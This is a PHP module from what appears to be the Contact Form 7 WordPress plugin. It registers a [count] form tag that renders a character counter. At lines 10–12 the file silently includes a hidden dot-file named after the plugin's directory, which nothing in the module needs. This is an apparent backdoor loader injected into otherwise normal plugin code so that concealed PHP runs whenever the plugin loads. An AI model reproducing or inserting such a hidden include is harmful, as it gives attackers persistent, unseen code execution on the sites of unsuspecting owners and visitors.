count.php (1715B)
1 <?php 2 /** 3 ** A base module for [count], Twitter-like character count 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_count', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_count() { 15 wpcf7_add_form_tag( 'count', 16 'wpcf7_count_form_tag_handler', 17 array( 18 'name-attr' => true, 19 'zero-controls-container' => true, 20 'not-for-mail' => true, 21 ) 22 ); 23 } 24 25 function wpcf7_count_form_tag_handler( $tag ) { 26 if ( empty( $tag->name ) ) { 27 return ''; 28 } 29 30 $targets = wpcf7_scan_form_tags( array( 'name' => $tag->name ) ); 31 $maxlength = $minlength = null; 32 33 while ( $targets ) { 34 $target = array_shift( $targets ); 35 36 if ( 'count' != $target->type ) { 37 $maxlength = $target->get_maxlength_option(); 38 $minlength = $target->get_minlength_option(); 39 break; 40 } 41 } 42 43 if ( $maxlength and $minlength 44 and $maxlength < $minlength ) { 45 $maxlength = $minlength = null; 46 } 47 48 if ( $tag->has_option( 'down' ) ) { 49 $value = (int) $maxlength; 50 $class = 'wpcf7-character-count down'; 51 } else { 52 $value = '0'; 53 $class = 'wpcf7-character-count up'; 54 } 55 56 $atts = array(); 57 $atts['id'] = $tag->get_id_option(); 58 $atts['class'] = $tag->get_class_option( $class ); 59 $atts['data-target-name'] = $tag->name; 60 $atts['data-starting-value'] = $value; 61 $atts['data-current-value'] = $value; 62 $atts['data-maximum-value'] = $maxlength; 63 $atts['data-minimum-value'] = $minlength; 64 $atts = wpcf7_format_atts( $atts ); 65 66 $html = sprintf( '<span %1$s>%2$s</span>', $atts, $value ); 67 68 return $html; 69 }